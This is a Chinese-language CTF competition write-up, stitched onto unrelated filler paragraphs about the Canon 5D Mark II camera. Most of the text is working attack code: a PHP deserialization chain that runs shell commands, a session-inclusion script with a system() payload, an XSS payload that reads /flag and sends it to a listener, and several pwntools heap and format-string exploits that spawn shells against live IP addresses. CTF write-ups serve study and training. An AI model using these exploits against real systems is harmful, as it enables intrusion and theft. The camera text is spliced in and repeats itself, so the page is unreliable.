佳能5dmark2寿命，怎样查看佳能5d3的快门次数

5dmark2是佳能公司的旗舰级相机之一？关于佳能5dmark2的第一个知识点是其全幅传感器。全幅传感器是佳能5dmark2的一大亮点，它能够提供更好的画质和更大的视野角度。相比于其他传感器尺寸较小的相机，全幅传感器的优势在于能够捕捉更多的细节和更高的像素。这使得佳能5dmark2成为专业摄影师的首选。

关于佳能5dmark2的第一个知识点是其出色的画质表现。作为一款全画幅单反相机，佳能5dmark2配备了2100万像素的CMOS传感器。这一传感器能够捕捉到更多的细节和色彩，并且具有出色的动态范围。无论是在室内还是户外，无论是拍摄风景还是人物，佳能5dmark2都能够提供出色的画面质量。

佳能5dmark2和idx

Web

ezyii

网上现有的链子github

<？phpnamespaceCodeception\Extension{useFaker\DefaultGenerator;useGuzzleHttp\Psr7\AppendStream;classRunProcess{protected$output;private$processes=[];publicfunction__construct(){$this->processes[]=newDefaultGenerator(newAppendStream());$this->output=newDefaultGenerator('jiang');}}echourlencode(serialize(newRunProcess()));}namespaceFaker{classDefaultGenerator{protected$default;publicfunction__construct($default=null){$this->default=$default;}}}namespaceGuzzleHttp\Psr7{useFaker\DefaultGenerator;finalclassAppendStream{private$streams=[];private$seekable=true;publicfunction__construct(){$this->streams[]=newCachingStream();}}finalclassCachingStream{private$remoteStream;publicfunction__construct(){$this->remoteStream=newDefaultGenerator(false);$this->stream=newPumpStream();}}finalclassPumpStream{private$source;private$size=-10;private$buffer;publicfunction__construct(){$this->buffer=newDefaultGenerator('j');include("closure/autoload.php");$a=function(){system('cat/flags_c');phpinfo();};$a=\Opis\Closure\serialize($a);$b=unserialize($a);$this->source=$b;}}}

安全检测

考虑session文件包含发现会包含url2直接多加个参数call_user_func执行命令

importrequestsfromrequestsimportResponsefromrequests.apiimportheadurl=""s=requests.session()username="PD9waHAgcGhwaW5mbygpOz8+"sessid='c899a0d6935a15da7e42e02b9fe0a16c'headers={"Cookie"：F"PHPSESSID={sessid}"}data={"username"：username}res=s.post(f"{url}/login.php"，json=data)sessid=s.cookies.get_dict()['PHPSESSID']print(sessid)payload=f'？u=/tmp/sess_{sessid}&p=<？=call_user_func("s"."y"."s"."t"."e"."m"，"/getf"."lag.sh");？>'p={"url1"：payload}res=s.post(f"{url}/check2.php"，data=p)print(res.text)res=s.get(f"{url}/preview.php")print(res.text)

层层穿透

第一层是一个ApacheFlink的任意jar包上传漏洞，网上有现成的复现，msf生成一个jar上传执行然后就能getshell

进入后查看/etc/hosts发现有内网环境，而且也给出了内网地址，发现内网还存在一个主机，并且开放8080端口，发现存在shiro框架，结合web.jar发现需要登录，以admin123456登录后发现/admin/test存在json.parse结合fastjson版本可以构造json数据进行JNDI注入

长度可以添加脏数据绕过，黑名单的话是使用org.apache.shiro.realm.jndi.JndiRealmFactory触发类

crawler_z

题目是考察沙箱逃逸，发现zombie有vm库并且在解析script和url的时候调用runInContext，将script内容作为第一个参数code

可以使用this.constructor.constructor沙箱逃逸，本地构造构造一个html，写好对应的script

importrequestsimportrequestsurl="：8888/"s=requests.session()defsignup(name)：signup_url=url+'signin'data={'username'：name，'password'：name，}tmp=s.post(url=signup_url，data=data)#print(tmp.text)defchange(bucket)：change_url=url+"user/profile"burp0_url=change_urlburp0_cookies={"UM_distinctid"："17b3b13d148148-0b15ca7c6d5376-35607403-1aeaa0-17b3b13d149826"，"CNZZDATA155540"："cnzz_eid%3D1910689585-1628779580-%26ntime%3D1628784980"，"connect.sid"："s%3AUbIPQ4BQWGBQ4Ym1FG3Eqh4c7PPKC2I5.NMUmomM4LvCfTVTOKnXRk%2BzZD4CnUL7vr6QYNYZGsz4"}burp0_headers={"Cache-Control"："max-age=0"，"Upgrade-Insecure-Requests"："1"，"Origin"："：9999"，"Content-Type"："application/x-www-form-urlencoded"，"User-Agent"："Mozilla/5.0(Macintosh;IntelMacOSX10_15_7)AppleWebKit/537.36(KHTML，likeGecko)Chrome/92.0.4515.159Safari/537.36"，"Accept"："text/html，application/xhtml+xml，application/xml;q=0.9，image/avif，image/webp，image/apng，*/*;q=0.8，application/signed-exchange;v=b3;q=0.9"，"Referer"："：9999/user/profile"，"Accept-Encoding"："gzip，deflate"，"Accept-Language"："zh-CN，zh;q=0.9"，"Connection"："close"}burp0_data={"affiliation"："ichunqiu"，"age"："20"，"bucket"：""}tmp=s.post(burp0_url，headers=burp0_headers，cookies=burp0_cookies，data=burp0_data，allow_redirects=False)print(tmp.status_code)print(tmp.headers['Location'])token=tmp.headers['Location'][19：]burp1_data={"affiliation"："ichunqiu"，"age"："20"，"bucket"：bucket}tmp=s.post(burp0_url，headers=burp0_headers，cookies=burp0_cookies，data=burp1_data，allow_redirects=False)ver_url=url+'user/verify？token='+tokentmp=s.get(url=ver_url)#print(tmp.text)defvist()：vist_url=url+'user/bucket'tmp=s.get(vist_url)print(tmp.text)signup('crispr1')chage_website="？a=oss-cn-beijing.ichunqiu.com"change(chage_website)vist()

访问对应的html然后监听：

secrets_of_admin

进去之后发现存在admin的密码已知，进去之后调用了http-pdf库，该库存在任意文件读取漏洞，而$contents存在xss，而在这里对content进行了过滤，可以使用数组绕过，当其为数组时include()会失败，基于req.socket.remoteAddress无法绕过，因此可以利用xhr进行SSRF，来访问/api/files

可以将/etc/passwd上传到admin用户，checksum任意，然后我们利用/api/files/checksum来读取文件先试下能不能xss发现存在xss：

那直接xhr访问127.0.0.1即可，注意ts开放在8888端口，这里被坑了很久。。。。

<script>varxhr=newXMLHttpRequest();xhr.open('GET'，'：8888/api/files？username=admin&filename=/flag&checksum=be5a14a8e504a66979f6938338b0662c'，true);xhr.setRequestHeader('Content-type'，'application/x-www-form-urlencoded');xhr.send();varxhr1=newXMLHttpRequest();xhr1.open('GET'，'：3333？res='+xhr.responseText.toString()，true);xhr1.setRequestHeader('Content-type'，'application/x-www-form-urlencoded');xhr1.send();</script>

访问下载flag即可

Misc

ChieftainsSecret

通过给出的附件我们可以得到PC0-3通过板子我们搜到一些文档，可以得到类似如下的公式

arcs=math.asin((SIN_P[i]-SIN_N[i])/2030)arcc=math.acos((COS_P[i]-COS_N[i])/2030)

然后利用1对arcs和arcc来确定我们的象限。可以得到一些角度。我们可以发现这些角度呈现一种波峰波谷的状态。我们通过另外的脚本处理可以得到几个波峰的大致角度

20020027022516025018090150150200

通过计算我们可知大概一格是22.5度。从拨片那里开始计算角度。再加上手指的宽度以及一些误差得到电话号flag{77085962457}

层层取证

题目比较有趣。通过Elcomfost首先可以扫到内存里有一个bitlocker加密密钥。然后我们通过diskgenius等工具恢复flag.txt得到提示：仿真。

利用仿真制作了一个仿真系统。将几个磁盘读入进去之后，他直接显示了高级账户的密码：xiaoming_handsome登录之后我们可以发现桌面上的便签写了一个；文档密码xiaoming1314然后我们可以发现有一个F盘是bitlocker锁住了。通过之前的加密密钥导入可以解锁盘拿到流量包。流量包中包含有一个rarudp流直接提取即可。密码是xiaoming_handsome里面的flag.docx密码是xiaoming1314。得到flag

考古

给了一个内存。可以从中获取到hint是一个OneClick.exe。可以直接利用voldump下来。之后我们开始逆向这个东西，发现他是以dot形式写了一个文件进入一个目录。我们利用虚拟机正常执行即可得到。然后我们可以发现他的word里利用010editor和正常word相比多出了一些东西。考虑可能是宏？但是一般宏会有一些特殊的opcode以及定义，考虑单纯是加密的文本，利用xortool一把锁。发现xor密钥是chr(45)得到flag

鸣雏恋

题目比较简单，直接利用zip打开发现里面隐藏的文件还有一个key.txt.当时利用phpstorm打开发现了奇怪的字符。利用零宽度隐写解密得到key。解密压缩包10w+张图片只有2种考虑转01，后续有base解密图片一把梭

importosimporttqdmimportbase64result=''foriinrange(0，129488)：filename="{}.png".format(str(i))ifos.path.getsize(filename)==262：result+='0'else：result+='1'fromCrypto.Util.numberimport*result=long_to_bytes(int(result，2))while(1)：try：result=base64.b64decode(result)except：print(result)

Pwn

note

先多申请几个chunk，格式化字符串改小topchunk，再申请，利用houseoforange造出unsortedbin，再申请一个chunk利用最后一字节固定泄露基址。然后格式化字符串修改malloc_hook为realloc+12，修改realloc_hook为one_gadget，调整栈桢打one_gadget。

frompwnimport*context(os='linux'，arch='amd64'，log_level='debug')#r=process('./note')r=remote('47.104.70.90'，25315)libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')defadd(size，con)：r.sendlineafter('choice：'，str(1))r.sendlineafter('size：'，str(size))r.sendlineafter('content：'，con)defsay(addr)：r.sendlineafter('choice：'，str(2))r.sendlineafter('say？'，addr)defshow()：r.sendlineafter('choice：'，str(3))foriinrange(14)：add(0x100，"aaa")add(0x40，"aaa")r.recvuntil('0x')addr=int(r.recv(12)，16)printhex(addr)fake_size=0x00fmt=fmtstr_payload(6，{addr+74：fake_size}，write_size='short')print"fmtstr_payload==>"，fmtsay(fmt)add(0x100，'aaa')r.sendlineafter('choice：'，str(1))r.sendlineafter('size：'，str(0x10))r.sendafter('content：'，'\x78')show()r.recvuntil('content：')libc.address=u64(r.recv(6).ljust(8，'\x00'))-344-0x10-libc.symbols['__malloc_hook']printhex(libc.address)sys_addr=libc.symbols['system']malloc_hook=libc.symbols['__malloc_hook']realloc_hook=libc.symbols['__realloc_hook']realloc=libc.symbols['realloc']rr=malloc_hook-0x8one=0x4527aogg=libc.address+onetar=realloc_hook+2tar=oggforiinrange(6)：off=tar&0xfffmt=fmtstr_payload(6，{rr+i：off}，write_size='byte')say(fmt)r.sendlineafter('？'，'3'*(off-1))tar=tar>>8tar=realloc+12foriinrange(6)：off=tar&0xfffmt=fmtstr_payload(6，{malloc_hook+i：off}，write_size='byte')say(fmt)r.sendlineafter('？'，'3'*(off-1))tar=tar>>8sleep(0.2)r.sendline('1')sleep(0.2)r.sendline('10')r.interactive()#flag{006c45fa-81d5-45eb-8f8c-eb6833daadf5}

JigSaw’sCage

第一次输入数字时存在溢出，输入0xe00000000从而通过if语句的判断并执行mprotect修改heap段为rwx接下分别输入三段shellcode配合jmp指令执行orw

frompwnimport*context(os='linux'，arch='amd64'，log_level='debug')#r=process('./JigSAW')r=remote('47.104.71.220'，10273)libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')defadd(idx)：r.recvuntil('Choice：')r.sendline(str(1))r.recvuntil('Index？：')r.sendline(str(idx))defedit(idx，con)：r.recvuntil('Choice：')r.sendline(str(2))r.recvuntil('Index？：')r.sendline(str(idx))r.recvuntil('iNput：')r.send(con)defdelete(idx)：r.recvuntil('Choice：')r.sendline(str(3))r.recvuntil('Index？：')r.sendline(str(idx))deftest(idx)：r.recvuntil('Choice：')r.sendline(str(4))r.recvuntil('Index？：')r.sendline(str(idx))defshwo(idx)：r.recvuntil('Choice：')r.sendline(str(5))r.recvuntil('Index？：')r.sendline(str(idx))r.recvuntil('Name')r.sendline('ayoung')r.recvuntil('MakeyourChoice：')r.sendline(str(0xe00000000))add(0)add(1)add(2)add(3)shellcode1='''push0x67616c66pushrsppoprdipush0poprdxpush2popraxjmp$+0x13'''print(len(asm(shellcode1)))edit(0，asm(shellcode1))shell2='''syscallpush0popraxpush3poprdipushrbppoprsipush0x50poprdxjmp$+0x13'''print(len(asm(shell2)))edit(1，asm(shell2))shell3='''syscallpush1push1popraxpoprdipushrbppoprsipush0x50poprdxsyscall'''print(len(asm(shell3)))edit(2，asm(shell3))#gdb.attach(r)test(0)r.interactive()#flag{58591d4d-068f-47ed-9305-a65762917b06}

PassWordBox_FreeVersion

第一次申请的时候拿到异或加密的值用来控制之后输入的内容

chunka(unsortedbin)chunkbusedchunkcused伪造chunkc的prevsize位为chunka+b，利用offbynull溢出chunkc的preinuse位，freechunkc，发生unlink造成chunkoverlap，然后泄露基址再用tcache打free_hook即可。过程中需要避开tcache的影响

frompwnimport*context(os='linux'，arch='amd64'，log_level='debug')#r=process('./pwdFree')r=remote('47.104.71.220'，38562)libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')defadd(id，len，pwd)：r.sendlineafter('InputYourChoice：'，str(1))r.sendlineafter('InputTheIDYouWantSave：'，id)r.sendlineafter('LengthOfYourPwd：'，str(len))r.sendlineafter('YourPwd：'，pwd)defedit(idx，con)：r.sendlineafter('InputYourChoice：'，str(2))sleep(0.1)r.sendline(str(idx))sleep(0.1)r.send(con)defshow(idx)：r.sendlineafter('InputYourChoice：'，str(3))r.sendlineafter('WhichPwdBoxYouWantCheck：'，str(idx))defdelete(idx)：r.sendlineafter('InputYourChoice：'，str(4))r.sendlineafter('Idxyouwant2Delete：'，str(idx))defdecode(str，key)：tmp=''foriinrange(len(str))：tmp+=chr((ord(str[i])^ord(key[i%8])))returntmpadd('AAAA'，0xf0，'\x00')r.recvuntil('FirstAddDone.Thx4Use.SaveID：')r.recv(32)key=r.recv(8)foriinrange(0xe)：add('AAAA'，0xf0，decode('B'*0xf0，key))foriinrange(7)：delete(9-i)delete(0)delete(1)foriinrange(7)：add('AAAA'，0xf0，decode('A'*0xf0，key))add('AAAA'，0xf0，decode('B'*0xf0，key))#8add('AAAA'，0xf0，decode('B'*0xf0，key))#9foriinrange(7)：delete(i)delete(8)foriinrange(7)：add('AAAA'，0xf0，decode('A'*0xf0，key))delete(9)add('AAAA'，0xf8，decode('A'*0xf0+p16(0x200)+'\x00'*0x6，key))foriinrange(4)：delete(i)foriinrange(3)：delete(i+5)delete(4)foriinrange(7)：add('AAAA'，0xf0，decode('a'*0xf0，key))add('AAAA'，0xf0，decode('a'*0xf0，key))#7show(8)r.recvuntil('Pwdis：')addr=u64(decode((r.recv(6))，key).ljust(8，'\x00'))libc.address=addr-96-0x10-libc.symbols['__malloc_hook']print'libc_base===>'，hex(libc.address)free_hook=libc.symbols['__free_hook']sys_addr=libc.symbols['system']add('AAAA'，0xf0，decode('a'*0xf0，key))add('AAAA'，0xf0，decode('a'*0xf0，key))delete(12)delete(11)delete(8)edit(9，p64(free_hook))add('AAAA'，0xf0，decode('/bin/sh\x00'，key))add('AAAA'，0xf0，decode(p64(sys_addr)，key))delete(8)r.interactive()#flag{2db0e64f-afe1-44d4-9af9-ae138da7bb4b}

lemon

在第一个game里，输入FFFF即可将flag内容放到栈上第二个game里的color功能存在堆溢出，eat功能会打印堆地址color改地址使其指向tcache_perthread_struct并修改来构造unsortedbin，爆破stdout并泄露真实地址，同理用environ泄露栈地址，stdout打印flag。

#！/usr/bin/envpython#-*-coding：utf-8-*-frompwnimport*importosimportsyscontext(os='linux'，arch='amd64')context.log_level='debug'#p=process("./lemon_pwn")p=remote("47.104.70.90"，34524)libc=ELF('./libc-2.26.so')defchioce(idx)：p.sendlineafter(">>>"，str(idx))defget(idx，name，size，data)：chioce(1)p.sendlineafter("indexofyourlemon："，str(idx))p.sendafter("nameyourlemon："，name)p.sendlineafter("ofmessageforyoulemon："，str(size))p.sendafter("Leaveyourmessage："，data)defget_err(idx，name，size)：chioce(1)p.sendlineafter("indexofyourlemon："，str(idx))p.sendafter("nameyourlemon："，name)p.sendlineafter("ofmessageforyoulemon："，str(size))defeat(idx)：chioce(2)p.sendlineafter("\n"，str(idx))try：p.recvuntil("eateateat")ret=int(p.recvline()[：-4])heap_addr=hex(ret)log.success("heap_addr："+str(heap_addr))returnretexcept：sys.stdout.flush()os.execv(sys.argv[0]，sys.argv)defthrow(idx)：chioce(3)p.recvuntil('\n')p.sendline(str(idx))defcolor(idx，data)：chioce(4)p.sendlineafter("\n"，str(idx))p.sendafter("\n"，data)definit(yes)：ifyes：p.sendlineafter("gamewithme？"，"yes")p.sendlineafter("yourluckynumber："，"FFFF")p.recvuntil("Wow，yougetarewardnow！")p.sendlineafter("namefirst："，"mark")p.recvuntil("yourrewardis")ret=p.recv()[0：5]log.success("stack_name_addr："+str(hex(int(ret，16))))returnint(ret，16)else：p.sendlineafter("gamewithme？"，"no")defpwn()：flag=init(1)get(0，"mark"，0x240，"aaaaaaa")try：low_addr=str(hex(eat(0)))low_addr=int(low_addr[-6：-3]，16)low_addr*=0x10except：sys.stdout.flush()os.execv(sys.argv[0]，sys.argv)color(0，p64(0)*2+p64(0x100000250)+"\x10"+p8(low_addr))throw(0)get(0，"hacker"，0x240，p64(0x00)*4+p64(0x7000000))#tcache_perthread_strcutthrow(0)get(1，"pad1"，0x50，p8(0x00)*5+p8(0x03)+p8(0x0)*2)#3timestostdoutget(1，p64(0x00)+'\xed\x36'，0x30，p64(0x00))#0x70tcachechunktry：get(2，"stdout"，0x68，p64(0x0)*6+'\x00'*3+p64(0xfbad1800)+p64(0x00)*3+'\x00')#gdb.attach(p)except：sys.stdout.flush()os.execv(sys.argv[0]，sys.argv)p.recvuntil("\x7f\x00\x00")addr=u64(p.recvuntil("\x7f").ljust(8，'\x00'))log.success("_IO_2_1_stdout_+131："+str(hex(addr)))libc_base=addr-131-libc.sym['_IO_2_1_stdout_']log.success("libc_base："+str(hex(libc_base)))#gdb.attach(p)malloc_hook=libc_base+libc.sym['__malloc_hook']free_hook=libc_base+libc.sym['__free_hook']log.success("malloc_hook："+str(hex(malloc_hook)))log.success("free_hook："+str(hex(free_hook)))p.recv()#throw(1)p.sendline("3")p.recvuntil('indexofyourlemon：')p.sendline(str(1))environ=libc_base+0x03dd058log.success("environ："+str(hex(environ)))stdout=libc_base+libc.sym['_IO_2_1_stdout_']log.success("stdout："+str(hex(stdout)))get(1，p64(0x00)+p64(stdout-0x33)，0x30，p64(0x00))#0x70tcachechunkget(2，"stdout"，0x68，p64(0x0)*6+'\x00'*3+p64(0xfbad1800)+p64(0x00)*3+p64(environ)+p64(environ+0x10))stack=u64(p.recvuntil('\x7f')[1：7].ljust(8，'\x00'))log.success("stack_base："+str(hex(stack)))flag_addr=stack&0xffffffffff000+flaglog.success("flag_addr："+str(hex(flag_addr)))#throw(1)p.sendline("3")p.recvuntil('indexofyourlemon：')p.sendline(str(1))get(1，p64(0x00)+p64(stdout-0x33)，0x30，p64(0x00))#0x70tcachechunkget(2，"stdout"，0x68，p64(0x0)*6+'\x00'*3+p64(0xfbad1800)+p64(0x00)*3+p64(flag_addr-0x100)+p64(flag_addr+0x100))#gdb.attach(p)p.interactive()if__name__=="__main__"：pwn()#flag{f578948e-8b48-494d-a11e-a97b7fbf14ee}

PassWordBox_ProVersion